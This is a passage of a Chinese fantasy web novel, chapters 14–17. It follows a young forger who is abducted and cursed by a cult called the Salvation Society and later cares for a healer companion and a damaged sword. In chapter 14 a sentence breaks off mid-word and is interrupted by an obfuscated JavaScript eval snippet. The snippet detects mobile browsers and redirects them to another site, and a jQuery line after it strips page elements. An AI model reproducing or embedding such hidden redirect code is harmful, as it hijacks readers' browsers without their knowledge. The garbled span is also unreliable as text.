对于这一连串操作刀语心有些不知所措,她还是第一次见有人赶着给她送钱的。 事出反常必有妖。 对方也大概想到了这一点,急忙为自己的行为解释着: “对了,你大概还不知道我是谁,我是公会的宋齐。这只是一点小心意,你就收下吧,实在不行的话就当……就当作是我提前交的委托定金了。” 他老早就想找刀语心给自己锻造一把剑了。 “行,上来吧。”车上还有空位,就算宋齐不塞钱给她,刀语心也不会拒绝。 一直默不作声的谢止沉盯着几人,发现一直躲在冒险家身后的那人不知为何视线一直落在刀语心的身上。 他表现得十分自然,视线每次停留的时间不会超过三秒,但就是太毫不在意了,才会被他发现。 从刀语心和他们交谈的话中,可知这辆载具的主人是一队雇佣兵,从先前载具上的血迹就知道这些人不是什么良善之辈。 而这人在知晓刀语心杀死对方后,眼神中闪过一丝惊讶,不是害怕担忧,也不同于那个冒险家的无知者无畏。 他应该原本就知道刀语心是锻造师,在知晓刀语心杀死雇佣兵后感到意外,对此他甚至有些喜悦,像是因为见到刀语心安然无恙活着而开心。 但从先前来看刀语心并不认识这人。 也不知道没睡醒又状态不好的她有没有察觉到对方的异样,此刻人多耳杂,谢止沉只得先将心中的疑点记下,准备之后找机会告诉刀语心。 14. 第 14 章 自刀语心一个人出镇后,只要是空闲时分,裴瑛都会站在镇口遥望沙漠。 她很担心刀语心。 这孩子有能力,重视承诺,甚至到了有些偏执的地步,但总的来说也不算什么坏事…… 身为首领裴瑛大多时候都不会叹气,因为这表示消极,会让身旁的人不再安心,久而久之,她也完全舍弃这种习惯。 但碍于种种原因,每当想起刀语心,裴瑛总会在心中叹息。 她本不该拥有这样的人生。 思绪交织间裴瑛看见远处一辆载具驶入自己的视线,远远就可以看到其扬起的沙尘,她认出了这是佣兵头子的沙漠载具,有些厌恶地移开了视线。 站在裴瑛身旁的副官叶冰彦也眼见心烦地啧了一声,没好气地开口: “那个人渣怎么还没死?” “祸害遗千年。”裴瑛的语调是不同于平常的冷。 紧盯着载具恶狠狠诅咒佣兵头子的叶冰彦看了一会,却发现上面的人影似乎有些不对。 “不对,好像不是那个人渣。我没看错吧?开着载具的人好像是小语心?” 听到这话移回视线的裴瑛在看清载具上的人后,脸上浮出喜色。 “对,是她。”她平安回来了。 不多时,刀语心停稳载具就忙着朝裴瑛跑去。 “队长!我回来了。” 也只有在裴瑛面前,刀语心才会拥有一些本该属于她这个年纪的情绪起伏。 慢刀语心一步的谢止沉合上门,站在远处看着她与之前不大相同的模样,好像变得更鲜活了一些,而不是一个终日压抑自己的冰冷机器。 “安全回来就好。” 拉着刀语心看了一圈的裴瑛确定她身上没什么伤势,但光看她衣物的受损程度,都能知道她这一路肯定受了不少的伤,只是现在已经痊愈了。 “小语心,那些雇佣兵是不是找你麻烦了?没事吧?”裴瑛身旁的叶冰彦询问着她。 “冰彦姐,我没事,他们都死了。” 听到这话裴瑛并没有麻烦消失的喜悦,只是心中一痛。 一个锻造师对上那些行事狡猾又心思狠毒的雇佣兵是有多不容易? 其中的艰辛刀语心肯定不会和她诉说,裴瑛只怨自己没有早些处理了那些杂碎,幸好刀语心如今平安无事地站在她的面前。 “快些去好好歇息吧,其他的事之后再说。”见刀语心一副睡眠严重不足的模样,裴瑛赶她去休息。 但刀语心却没有听话地离开,她站在原地转身看了看,朝谢止沉投去视线 其他人抵达镇口后就各自离开了,所以站在载具旁的只剩下了谢止沉一人。 而收到刀语心目光的他也来到她的身旁。 “这位是?”裴瑛开口。 “他是我在沙漠里遇到的医师谢止沉,他帮了我很大的忙。” 接着刀语心又向他介绍了裴瑛和叶冰彦。 “可以拜托你查看队长身上的毒素吗?” “没问题。”谢止沉抬手显出诊断法术,隔空分析着毒素构成。 不同于之前治疗发散出的莹白能量,谢止沉此刻施展出的力量是生机般的绿色。 片刻后,他结束法术收回了手,给出答案。 “这是妖狼本身毒牙自带的毒素,但还掺杂了蚀骨花的木属性毒素,所以解决起来有些麻烦。” 知道具体属性信息后,就可以根据相对属性的草药配置一些治疗用的药,但因为不是最精准的配比,所以只能延缓,并不能彻底痊愈。 这也是刀语心必须制造医疗装置的原因。 想到这里,她拿出这次沙漠之行得到的一部分草药递给裴瑛。 “这是队长你之前给我的那块岩铁矿石的报酬。”见裴瑛不收,刀语心开口用本该如此的语调说着。 拗不过刀语心的裴瑛,只得收下。 “哪有你这么算账的,去当商人是会亏大本的。”裴瑛当然知道这些草药的价值已经远远超过了那块矿石本身。 有了治疗方案和材料,叶冰彦带着东西先行回去了,裴瑛则是留下和刀语心告别,同时开始叮嘱: “先好好休息,有了你的草药和谢医师提供的信息,已经帮了卫队很多,下次再来找我时还有黑眼圈的话,我可就不见你了。” “好吧。” 本来打算通宵做医疗装置的刀语心只能就此作罢。 挥手和裴瑛道别后,刀语心带着谢止沉来到了无名镇里,路上她给谢止沉介绍着镇上的一些位置构成。 “镇上有旅店,不过有些破旧,我家里也有闲置房间,或者你也可以租房,你看自己要住哪。” 基于这几天在遗迹中的交情,以及之后一起探索的约定,刀语心也将谢止沉视为同伴。 “我可以去你家里吗?” “说来话长……”谢止沉皱着眉头苦笑道:“我身上现在连一枚铜币都没有。” 他的钱都被那情报贩子骗了个干净,还差点把自己的命都留在沙漠里。 “当然可以。”闻到食物飘香的刀语心有些饥肠辘辘,“先去吃饭吧,我请。” 只是街边大娘的手艺一如既往地不太好吃。 吃完饭回到家后,刀语心给谢止沉分配了房间,两人顺带加上了通讯好友。 在补觉前刀语心发现商人的信息依然未读。 十多天了,不会真死了吧? 这么想着,刀语心也发了信息出去,然后倒头就睡不省人事。 再醒来已是深夜。 从床上起身洗了脸清醒过来的刀语心睡不着了,她打算现在就做医疗装置。 工作台上,四种植株和三种矿石依次铺开。 她掂量着手里的材料,在心中计划着之后的流程。 先是将草药提炼再配置出用来蚀刻的溶液,顺便将矿石熔炼打成金属方块板,接着再用溶液蚀刻金属刻出医疗装置的咒能板。 顺带制作发射治疗光线的模块,还需要在装置上内嵌一个空间容器用来放置草药,最后则是将一切整合到一起,完成一个医疗装置的制作。 确认好计划后她就开始行动。 走进阔别已久的锻造室,刀语心径直来到提炼草药的容器前,将草药分别放置其中,随即放置台下浮现出复杂的术式。 她顺便燃起熔炉,等待熔炉升温的过程,刀语心就转身去做其他准备,草药本身不具有腐蚀性,她得去配置一些专门用于蚀刻的溶液。 配置完后,熔炉的温度也差不多了,她将矿石放进去开始熔炼,融化后冷凝成块,再将其捶打成一个个方方正正的小板子。 相比后期的过程,前期准备并不需要很长的时间,刀语心带着溶液和金属板回到工作台前开始蚀刻咒能板。 虽然刀语心准备做的医疗装置也是紫阶,但并不需要像之前保命护符那样耗费两三天时间,因为医疗装置所需咒能板上的刻印是已知的,不像之前的保命护符是她自己从0到1的摸索。 锻造师等级越高,从职业树中解锁的刻印纹样就越多,这些被刻画好的咒能板在外行人眼中看起来都是同样的东西,但一些细微的改变就会导致整体发生极大的变化,每一个都有不同的效用。 这也导致每一个咒能板的纹路都非常复杂,用特质的刻印笔蘸取溶液后,刀语心就开始全神贯注地蚀刻咒能板。 时间悄然流淌,许久后第一块咒能板刻好了,在刀语心检查自己有没有出错时,房间门被敲响了。 突如其来的声响让她一个激灵。 “吓到你了吗?抱歉。” 门一直是开着的,她抬眼过去就看到站在门外的谢止沉。 “没事,我大概只是一时还不习惯家里多了个人。不过你怎么也大晚上不睡觉?” “我睡不着还有些饿了,打算问你要不要吃宵夜,我去做。” “好啊。”刀语心一口答应下来。 原本她准备刻完板子就吃馕来着,那馕还是去沙漠之前买的。 今天他们回来前在路边买了些食材,谢止沉带着食材进入了厨房,很新甚至一尘不染,能看得出主人不怎么自己做饭。 不过这也是他某种意义上的第一次做饭,不知道能不能成功。 闻到香味的刀语心也再没心思捣鼓手中的东西,来到厨房的餐桌旁等着谢止沉大功告成。 他很快就做好了一碗简单的面。 吹凉夹了一筷子面送到嘴里的刀语心在吃下后作出了如此评价: “天呐,这是我这辈子吃过最好吃的面。” “真的吗?” 得到如此之高的评价虽然谢止沉不说,但心中也是有些喜悦。 “真的。”已经好吃到她在心里流泪了。 没有人知道她以前过的是什么苦日子,边陲小镇的人不重口腹之欲,街边店里的大娘要么重盐要么寡淡,但刀语心家附近就只有这一家餐馆,没有竞争对手的大娘无所畏惧。 至于刀语心为什么不自己做?她连烤个羊腿都能带毒,还是少动手为好。 她还尝试过其他的维生手段,从商人那买过名为方便面的旧世界速食产品,好吃但是很贵,一袋都能买一块蓝级材料了,她舍不得。 得到补充后的刀语心,连夜做出了一个医疗装置的基础版。 于是一晚上没睡的她只能在早晨询问谢止沉:“有什么能让我黑眼圈消失的办法吗?” “有暂时的。” 他的手悬停在刀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15284389|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 语心的面前释放了一个法术,不多时,刀语心就看到镜子中自己的黑眼圈消失了。 “谢了!” 说完后她就带着医疗装置出门去卫队找裴瑛了。 而谢止沉留在家里布置自己的房间,顺带照料了一下院子,他认出杂草堆里艰难生长着几株算得上有用的草药。 看来院子的主人原先是想种一点草药的,只不过如今杂草已经是草药的数倍了。 在刀语心出门后不久,除着杂草的谢止沉记起之前那个不着痕迹观察刀语心的人。 危机感袭上心头,他停下手中的动作给刀语心发去了消息。 “有人在暗处盯着你,小心些。” “好,我会的。” 在看到刀语心的回复后,谢止沉放下心来。 其间他又发消息询问过刀语心想吃什么他可以试着做,毕竟现在是身无分文的他寄人篱下,为刀语心做点什么是应该的。 不过对方似乎在忙,并没有回复。 直到日落西沉刀语心都没有回来,消息也没回。 看着未读的消息和一分一秒流逝的时间,谢止沉感觉到些许古怪。 有些不太对劲。 他放下手上的东西,出门去找刀语心,她是带着医疗装置出门去卫队找那位队长了,所以他先按照记忆中的方向前去卫队找到了裴瑛。 听完谢止沉的话后,裴瑛已是眉头紧锁。 “她在几小时前就离开了。” 知晓刀语心没回家的裴瑛也意识到了什么,她将手上的工作转交给叶冰彦收尾,自己则是带着谢止沉朝小镇上的某一个方向奔去。 看来这位队长知道些许内情,不过从表情来看应该不是什么好事,谢止沉心中不免浮起担忧。 不过还没等他们到目的地,在半路他们就遇到了刀语心。 日暮黄昏,街上人烟稀少。 她一步步踏着有些破旧的地砖,明明就在不远处,但她的视线始终落不到他们身上,像是将自己隔绝在了另一个世界中,麻木地在一条看不见尽头的道路中行走着。 刀语心依然是出门前的那副模样,早上给她施展的法术也尚未失效,但不对劲。 谢止沉能确定此刻的刀语心和之前的是同一个人,但…… 她身上仅有的、为数不多的生机消失了。 她变回了最开始他遇到时的那个状态:明明身受重伤,但她面无表情忍着剧痛,言语举止都像一个冷酷无情的机器。 在见到刀语心的那一瞬,裴瑛就上前将她抱在怀里。 “队长?” 刀语心视线一直是失焦的,所以她刚才没有注意到面前的二人,直到此刻裴瑛的拥抱触动了她的感知,她才意识到是队长来找她了。 “有没有哪里受伤了?他们又来找你了?是不是?” “嗯。”隐秘的鼻音暴露出主人的情绪不高。 刀语心本来内里只剩下一片死寂,但在听到裴瑛那一声声关切询问后,心中止不住地涌出委屈。 但她忍住了泪。 因为她知道哭泣对她来说是无用的。 时间退回到刀语心将医疗装置交给裴瑛,从卫队离开后。 她走在回家的路上。 本该一切都是那么平常,但一直阴魂不散跟在她身后的黑影昭示着异变发生。 能这么快察觉到还是因为先前谢止沉给她发的那条信息,她意识到不对,想要逃走。 但那些人就像过去留下的阴影一般,她永远都甩不掉。 一次次的逃窜中刀语心就算重伤了某一人,但接着又会有其他一模一样的人迅速补上,占据人数优势的他们堵住了刀语心的所有去路,似铜墙铁壁一般将她围起。 在她再次握紧匕首准备朝某个地方刺去时,一根不知从何而来的细绳以极快速度连同指节将她的双手缠绕裹紧,失去握力的匕首从手中掉落砸在地面发出响声。 这绳子应该是某种道具,被束缚后刀语心连取出其他武器都做不到。 熟悉的无力感随即席卷而来,刀语心低垂着双眸藏起眼中的神色,在心中痛恨自己的弱小。 气氛僵持间,一条蛇尾将掉落在地的匕首缠绕卷起,送入了某人手中,原本围着刀语心的傀儡们整齐划一退后,给他们的主人让出一条道路,这也让刀语心看清了此人面容。 幽绿色的蛇状竖瞳中倒映着刀语心的身影,那人近乎惨白的手指在匕首的刃身划过。 她脸上挂着看似无害的笑容,一步步朝目中之人走去。 随即尖锐如蛇信又裹着毒的言语刺入刀语心的耳中。 “我终于找到你啦~这下你无路可逃咯,乖乖跟我走吧,我们救世会最最厉害的小、锻、造、师。” 15. 第 15 章 “虽然我很早就听说过你,但这应该是我们初次见面。” 少女向刀语心展露着笑颜,她只有刀语心的肩膀高,此刻亲昵地搂着刀语心的手臂,手臂的主人并不情愿,但挣扎无果。 “我是绿绮,救世会派遣至无名镇的新任裁决使,也是你的协助者。” “我可是费了好大的劲才从其他人手里抢到这个名额的呢。” 听到这话的刀语心没有感到一丝一毫的欣喜,态度冷漠地反问着她: “协助?监视还差不多。” 黑压压的傀儡将二人围在中间,裹挟着刀语心朝某个方向前去,想必那里就是救世会在无名镇的新据点。 “别在意那么多嘛,反正我们都是为了救世会共同的愿景而努力着,不是吗?” “你说是就是吧。”刀语心不想进行无用的辩解。 前往据点的路上,控制着刀语心的细绳没有丝毫的松动。 救世会据点在无名镇中心,由一片同在街道旁的屋子相连,外表都是同样的装潢,门牌上也写着救世会三个大字,至少看上去有模有样。 “锵锵——怎么样,我选的地方,比以前好得多吧。”绿绮扭头看着刀语心,一副想要得到夸赞的模样。 是比从前那个破破烂烂冬冷夏热的屋子好得多,不过刀语心在心里想着没说出口,她不打算理会绿绮。 没得到想要的回应,绿绮有些失落,但很快就拉着刀语心去看更多她亲自布置的东西。 不过即便再风光亮丽,在刀语心看来救世会也依然是一个散发恶臭的泥潭沼泽。 绿绮推开大门进入主厅,据点中此刻聚集着很多人,零零散散地站在四处,这些人刀语心基本不认识。 但有一个人她有印象,是昨天跟在冒险家身后的人,此刻正站在某个不起眼的角落。 看来谢止沉口中盯着自己的人就是他了。 被推开的门不再阻隔视野,众人的视线都落在了她和绿绮身上,见此绿绮也收起表情咳嗽两声清清嗓子,然后大声向在场所有人昭示着刀语心的身份: “隆重介绍一下,这位就是我们救世会的天才锻造师,刀语心女士。” “为了保护刀语心女士的安全,希望大家在外能够保守她身份的秘密。” 对于这段繁冗的介绍,刀语心什么都没说,只是盯着那个暴露自己行踪的人,而对方心里有鬼,自然也不敢正视她的目光。 “当然——如果刀语心女士遇到了危险或者离开了无名镇的范围,大家必须及时向我上报,这一切都是为了她的安全,为了我们救世会所求的未来。” 听到这话的刀语心是止不住地恶心。 在一片稀稀拉拉的掌声中,宣讲结束的绿绮带着她离开了众人的视线。 似是发现了刀语心先前的目光,绿绮十分贴心地给她介绍着: “就是那个人,叫什么贾偲。为了些小材料在沙漠跟了你几天几夜,可辛苦了呢。” “据说因为这次行动他的兄弟死在沙漠里面,大主教和我说,如果不是你非要为了裴瑛跑去沙漠,说不定那人就不会死了。” 闻言,刀语心不为所动。 他们为了自己的利益做出这样的选择,而随之产生的一系列后果,理应由他们承担。 “不过我觉得呢,大主教不应该责怪你。” 听到这话刀语心终于将视线移向这个一直在自己旁边絮絮叨叨的少女。 虽然是条毒蛇,但嘴里最起码会说几句人话,不像那位只会说些冠冕堂皇之辞的主教大人。 “救世会只让贾偲去,可没让他的兄弟们也跟着。” 一路上的闲谈结束,绿绮拽着刀语心从前厅来到了某个房间,傀儡被她布置在门外,室内只剩下她们二人。 她松开一直挽着刀语心的手,不过束缚刀语心行动的细绳依然没有离开,甚至在强行按着刀语心坐下后,绿绮又唤出另一根捆住刀语心的脚踝。 而被捆得不能动弹半分的刀语心只能移动视线,看着绿绮从房间的某处取来一个投影设备将其打开,在面板上输入一串连接信息后,全息投屏上显示着一行倒计时。 在倒计时结束之前,绿绮不管刀语心是否愿意,继续黏在她的身边,续上先前说着的话题: “还是边陲小镇行事方便,只需要一点小小的利益,就有人一直盯着你,如果不是这些人,我们也无法在千里之外掌握你的动向。” “去沙漠的那人本来好好地跟着你,但路上遇到了点意外状况,顺着踪迹就没再找到你,这可吓坏了他,也吓坏了我们呢。” “你知道我们有多担心你吗?就连大主教都差点准备前来亲自找人了,幸好你又遇到了一直跟着你的贾偲,才让我们又一次得到了你的消息。” 自顾自说了这么多话,但依然没有得到对方的任何回应,绿绮有些心碎。 “我知道绑着你是我不对,但为了在邪魔潮来临前抵达这里我可是日夜不停地赶路,你就一句话都不愿意和我说吗?” 听到这话,刀语心终于如愿给她一句回复: “把你的尾巴从我身上挪开。” 看着刀语心那副从始至终分毫未变的面容,绿绮气得直磨牙,眼看倒计时将近她只能乖乖收起自己一直缠着刀语心的尾巴。 随着倒计时归零,绿绮终于离开了刀语心身边,但与此同时一个刀语心更讨厌的人投影在她的正对面。 “刀语心小姐,很高兴见到你平安无事。” 看见那个熟悉得令人作呕的眯眯眼,刀语心在烦躁地啧出了声。 “见到你我还挺难过的,毕竟看见你这张脸我就想吐。” 听到刀语心的话,坐在她对面的巫津只是笑了出来。 “看到你还是这样我就放心了,不过还是衷心祝愿你能早日克服这样的感觉,毕竟你还有很长一段时间都需要见到我。” “我衷心祝愿你立刻去死。”让那张脸连同一切腐烂在泥泞的地里。 “那恐怕要让你大失所望了。想必你也不是很想继续和我叙旧,我们还是先谈谈正事好了。” 只见投影出来的那人手指在空中一划,一份精密的设计图就呈现在刀语心眼前,蓝色的荧光映入刀语心的瞳孔中,光看咒能板的复杂程度她就知道这件武器的杀伤力很强。 “这是你得在三个月内锻造出来的武器,至于它的作用,是用来争抢预言中的资源点。” 勉强和刀语心算得上青梅竹马的巫津很了解刀语心的脾性,如果不告知来由她绝不会去做。 “这次的东西只有一半就不追究你的责任了,但下次再不按期交付的话,后果你是知道的。” 他也很清楚刀语心并不想给救世会做任何的东西,但只要刀语心依然受制于那个“后果”,他就笃定她会完成这一切的安排。 “我的责任?我有什么责 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绿绮按着刀语心的肩,再度来到刀语心的身边,顺带将先前夺走的匕首物归原主。 “这是我给你准备的见面礼,另一个是大主教让你带给你的礼物,她还特地叮嘱让你一个人打开。” 虽然绿绮很想看到刀语心收到自己礼物的样子,不过她还有事情需要去做。 “刚才你说的话我都听见了,我现在就去解决那个不给你材料的家伙,你要等我回来哦。” 在关上门前,绿绮还恋恋不舍地朝刀语心挥挥手。 收回视线,刀语心看着桌上两个风格迥异的盒子: 画着个可爱笑脸的小盒子显然属于绿绮,另一个盒子精致高雅,整体用料也不一般,看上去像是装了什么不得了的宝物。 不过就刀语心对主教的了解来看,礼盒和主教本人一样,金玉其表败絮其中。 里面必然不会是什么好东西,但刀语心知道就算自己现在将其扔下不管,那女人也会用其他手段达成她的目的。 所以刀语心打算就在这里解决。 至于绿绮给自己的见面礼,刀语心犹豫片刻后还是收了起来。 桌上此刻只剩不详的礼物放在正前方,刀语心抬手掀开礼盒,随着盒子散开,里面的装置开始旋转。 从中涌出一阵灰白色的雾挡住了刀语心的视线,她皱着眉头想要离开房间,但转身却被一个人拦住了。 在雾气还未消散之前刀语心看不清对方的面容,但很快,熟悉的声音传入她的耳中: “许久不见。” 一道人影朝着刀语心走来,那人本在自己的正前方,但刀语心却觉得对方清脆的步伐声从四面八方传来,就像无处不在一般。 “留你一人在无名镇这么多年,我实在对你心中有愧,总觉得自己该送你点什么作为补偿,只是怎么想也不知道你究竟想要什么。” 故意拉近距离的甜腻语调让刀语心极度不适,她下意识向后退去拉开距离。 但随着法术释放完毕,雾气也渐渐消散,那人朝刀语心走来的过程中随意拨开迷雾,让刀语心视野终于清晰,也让两人得以对视。 “我亲自来到你的面前,就是想要问问你——” “我可爱又可怜的孩子啊,你究竟想要什么?” 16. 第 16 章 时间在主教的面容上留下了痕迹,但也给她添上几分威严。 珍稀布料制成的庄重服饰衬得她愈发雍容华贵,如果没有察觉到她眼中深藏的恶意,也会在第一时间误解她是什么救世的贤人。 “我没什么需要向你祈求的,当然,如果你们能管得再少点那最好不过。” 深邃的黑瞳中毫无情绪停留,刀语心并不惊讶主教的出现。 “那你可有点太贪心了,救世会已经对你足够宽容,否则也不会放任你天天自由散漫,整天往外人处跑。” “所以呢?是要我夸你手眼通天吗?我想要的你又不会给我,何必虚情假意来找我说这么多?你出现在我的面前不就是为了警告我,让我安分一点,不是吗?” 自己的来意被彻底看透,对此主教的微笑分毫未变: “我那个愚蠢的姐姐这辈子唯一正确的决定就是捡来了你,你的确是个很聪明的孩子,不用我说就知道原因,但你更不应该知错不改重蹈覆辙。” 主教杵着权杖,在刀语心面前来回踱步,进行着自己絮絮叨叨的说教。 “行了,我不想在你身上浪费时间。快点吧,让我看看你又会用什么方法折磨我。” 但对方显然不会如刀语心的愿,之后的语调更是被故意拖长。 “这句话应该是我对你说才对。你这孩子,哪里都好,但偏偏……太不知礼数。” “很少人在乎那些浮于表面的东西。” 在刀语心看来,主教太过虚伪,对此主教也心知肚明。 “等你品尝过权力带来的好处后,你会改变你现在的看法。你讨厌我,从不是因为我对你施加多少折磨,而是因为我比你更强,我掌握着更多的权力和力量。” “这也代表你和我是一样的。” “随你怎么认为。”靠在墙边的刀语心垂眼转着手里的匕首,对主教的话左耳进右耳出。 正当主教以为刀语心终于安分一点时,利器的寒芒出现在她的面前。 但主教只是放任其将自己洞穿。 用匕首刺向主教比自己设想得容易太多,刀语心也察觉到手感不对,这不是主教真正的躯壳。 “你还真是不听话。你是杀不死我,这只是一个无足轻重的分身。”只见主教受伤的地方开始溃败,像雾气一样扭曲逸散。 “可惜。”不过刀语心却没多少真心惋惜之意,毕竟短暂的死亡作为报复还是太轻了。 “是啊,真可惜,这样一来我也没办法继续停留了。” 说着,主教控制着周围还未散去的雾在自己手中涌动,随后吟唱着咒语,将其凝成一道攻击朝着刀语心打去。 即便刀语心有意躲闪,但在绝对实力的压制下,她还是被贯穿了臂膀。 被雾气接触的伤口像是被啃食一般,对此刀语心只是漠然地看着那些拼了命地想钻入自己身体中的雾气在自己的伤口周围留下某种诡异的图案。 “这是我新研究出的咒印,至于效果,你可以自己体会。”她边说着,边慢悠悠地从刀语心面前走过。 在破败的虚影消失之前,主教回头看向身后之人,毫无掩饰的恶意似乎要将刀语心洞穿: “被恶意浇灌的种子,最终会成长为什么模样呢?继续挣扎着活下去吧,我等着你的答案。” 话落,主教的身形彻底变成雾气溃散,仿佛从未出现过一般。 确认对方彻底离开后,刀语心放下了警惕,不过手臂上传来的疼痛时时刻刻提醒着她,自己活在救世会的阴影之下。 对刀语心来说,疼痛并不难适应。 她强撑着身体离开救世会的据点,她一刻都不想在这里多待。 走在回家的路上,她脑海中思绪翻涌。 是她还不够强,是她还没有足够的实力去彻底反抗这一切。 力量啊…… 她要怎样才能获得足够的力量去反抗这一切? 体内沉寂的异化之力感受到刀语心的思绪,再次开始涌动。 邪魔、本源之力、异变…… 既然是同出一处水源的枝干,那是否能将其余的脉络转换为自己的力量呢? 那双了无生机的双眸掩盖着刀语心一切的情绪。 心中滋生出的疯狂想法在不断肆意生长,刀语心做出了选择,只要她触碰到邪魔,就能够验证出问题的答案。 或许她会死,但她并不在乎。 被当作工具任人宰割的一生,于她而言与死去毫无区别。 她在自毁和自救的路途间摇摆不定,在摇摇欲坠的钢丝上挣扎着走向看不到终点的未来。 直到一个拥抱将她从漆黑可怖的思绪中短暂拉了出来。 啊,是队长来找她了。 心中难言的委屈顿时破溃而出,但刀语心只是将一切情绪死死压住。 她在裴瑛的怀抱中停留了片刻后就离开了。 “队长,我没事的,他们这次找我只是需要我锻造一件武器。” 即便裴瑛知道救世会的人不怀好意,但刀语心还是不想让她太过担心。 此刻天色已晚,血迹凝固在暗色的布料中,再加上刀语心有意遮掩,裴瑛并没有发现她受到的伤。 身为卫队队长裴瑛需要在意的事情太多了,这些小事刀语心并不想让她记挂。 “没事就好,以后出门最好和人一起,如果谢医师不方便的话你就联系我,我会让其他人来接你。” “嗯,我记住了。” 裴瑛将刀语心送到家门外,千叮咛万嘱咐后,刀语心目送她离开。 回到家后谢止沉开口: “我帮你治疗一下吧。” 或许是身为医师的职业,谢止沉一眼就看出刀语心左肩处的伤口,他也知道刀语心在门外告别裴瑛是不想让对方担心。 “谢谢。” 刀语心坐在客厅之中,谢止沉站在她身旁为她治愈着伤口。 她想起自己和谢止沉第一次见面时的情形,那时掐着对方脖子的自己恐怕没料到之后两人会成为同伴。 “当时的事还没和你道歉。”刀语心有些突兀地说了这么一句,但谢止沉知道她指的是什么。 “不必在意,那个时候 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“诅咒就有些复杂,还分为可解除和不可解除的诅咒,可解除的那类中,要么杀死施咒者,要么达成特定的法阵逆向解除。” “谢谢你告诉了我这么多,已经足够了。” 她从椅子上起身,打断了法术的进程,刀语心知道自己并不需要减轻痛苦,她需要的是将痛苦从根源处抹除,但这并不代表她忽视了谢止沉所做的一切。 能获得片刻喘息让她抵御之后更加漫长的折磨,她对此心怀感激。 “下次出门的时候叫上我吧,我也想多了解无名镇一些。” 无名镇并不混乱,即便医师独自出行也没有任何问题,谢止沉这样说是为了让刀语心没有顾忌,毕竟通过这几天短暂相处下来,他也了解到刀语心不喜欢麻烦别人。 知道这是谢止沉的好意,刀语心没有拒绝,点头应下。 “对了,你明天想吃什么?” 听到这话后刀语心将要离开的身形一顿,从没有人问过她这个问题,她翻遍自己为数不多关于食物的记忆后说: “我想吃饼,软的那种。” “好。” 回到自己的房间后,刀语心精疲力尽地倒在床上,她翻了个身,蜷缩着紧靠墙边,整个人陷入一种空洞。 情绪感知再一次失效,她已经习惯了这种什么都感受不到的感觉,她不大在乎,只是再次淹没在思绪之中。 力量,她需要更多的力量,只有力量才能打破束缚住她的一切。 手臂上的咒印在发烫,但她依然在放空自己的思绪,身体感知到的痛苦她已经麻木,无法再动摇她半分。 她看着自己指尖那抹溢出的黑,它叫嚣着想要吞没所有。 只有足够的力量才能让自己的命运不再被他人驱使,只有足够的力量才能让自己的未来不再失控。 刀语心闭上眼,让黑暗吞没了一切,她咽下一切无用的愤恨,强迫自己入睡。 17. 第 17 章 一夜无梦,就算有梦,想必也是噩梦。 见刀语心醒来,谢止沉将刚做好的饼放在了她的工作台上,洗漱完后的刀语心吃着饼,写着计划。 她准备今天把剩下的医疗装置做完,再改造一下那把从亚空间中获得的武器。 之后还得补充一下炸弹之类的消耗品,她其实还想给自己再弄几个保命护符,但她手上现在没有关键材料。 至于救世会要的东西?快到期限再说吧,一想到自己要给救世会锻造东西刀语心就生理性反胃。 确定好计划后,刀语心开始投入锻造之中。 剩下的材料还够做六个医疗装置,她打算给自己留两个,有了第一个的成功经验,后续就只是刻印咒能板耗费时间一些,其余步骤都很快就完成。 碍于前车之鉴,刀语心这次提前给裴瑛发了消息,裴瑛说她会让叶冰彦来取。 接着就是那把武器,剑身其实已经十分破损了,而且也不符合刀语心的使用习惯。 不过在那之前,刀语心需要先检测一下剑的等阶和固有特性,她能够感知到这剑应该是紫阶左右,检测更多的是为了后者,如果特性有用的话,她得确保让其在重塑过程中保留下来。 期间谢止沉来找刀语心,将院子中一些已经成熟的草药收起交给她。 “麻烦你了,难为这院子还能长出点有用的东西。”刀语心没想到有朝一日她荒草丛生的院子里真长出了草药。 “不用客气。”闲谈间谢止沉看到刀语心手上的剑,似是好奇地询问着:“这把剑是你在亚空间里拿到的吗?” “对。” “挺好的,你能用得顺手就好。”简短几句交流后,谢止沉就离开不再打扰刀语心了。 这看似只是好奇的询问,但刀语心总觉得没这么简单,谢止沉就不像是有好奇心的人,她的直觉告诉自己谢止沉认识这把剑。 自己没和他说从亚空间中拿到了什么,但他认识这把剑,看来这剑应该和他有些渊源,不过刀语心不打算问。 她只觉得许久没用检测器,它的反应更慢了一点。 在等待检测结果的途中,刀语心打量着剑同时在心中做着后续改造的计划,剑柄有一处凹陷,看样子曾经有什么镶嵌在其上。 想到镶嵌,刀语心联想到了宝石,虽然此行获得的宝石有两颗,但能与这把剑相配的,刀语心想到的是那块漆黑宝石。 或许亚空间意识给她的宝石就是为了这把剑? 那它也挺黑心的,本来是一体的东西给她拆成了两份。 思索的间隙,检测器显现出了长剑的页面: 紫阶极品灭灵剑(破损程度60%): 特性:灵契——联结使用者的灵魂,使伤害翻倍;容器——此剑可容纳任何力量。 看着显示页面,刀语心眼前一亮。 破损六十都是紫阶极品,彻底修好岂不是能上橙阶,特性也可以说是独一无二还正合她心意。 按理来说锻造师需要四十级以上才能锻造出橙阶道具,不过刀语心才二十五级就锻造出了三十级才能锻造的紫阶装备,这套理论并不适用于她。 将灭灵剑从检测台上拿起,刀语心的视线从剑尖扫过,尽管剑身剑柄都有不同程度的破损,但不难想象这把剑完好时的惊艳绝伦。 目光最后落在剑柄与剑身连接处的凹槽,那块漆黑宝石或许可以让这把剑的特性再度增强? 为了确认自己的猜想,她将宝石放上检测台,虽然体积更小,但等待的时间却更长了。 这种求而不得的漫长等待让刀语心少见地期待起来,说不定会是什么新奇的东西。 检测宝石的时间是灭灵剑的几倍,直到设计好武器的大致草图后,检测器才跳出了页面: “黑渊魔晶(等阶未知),特性:增幅、???” 这还是刀语心第一次在面板上看到问号,毕竟检测器的作用就是用来消除未知,但称得上万能的检测器现在却出现了故障。 盯着面板上未知二字,刀语心在思考这究竟是检测器外部硬件出错还是内在咒能板刻印的问题。 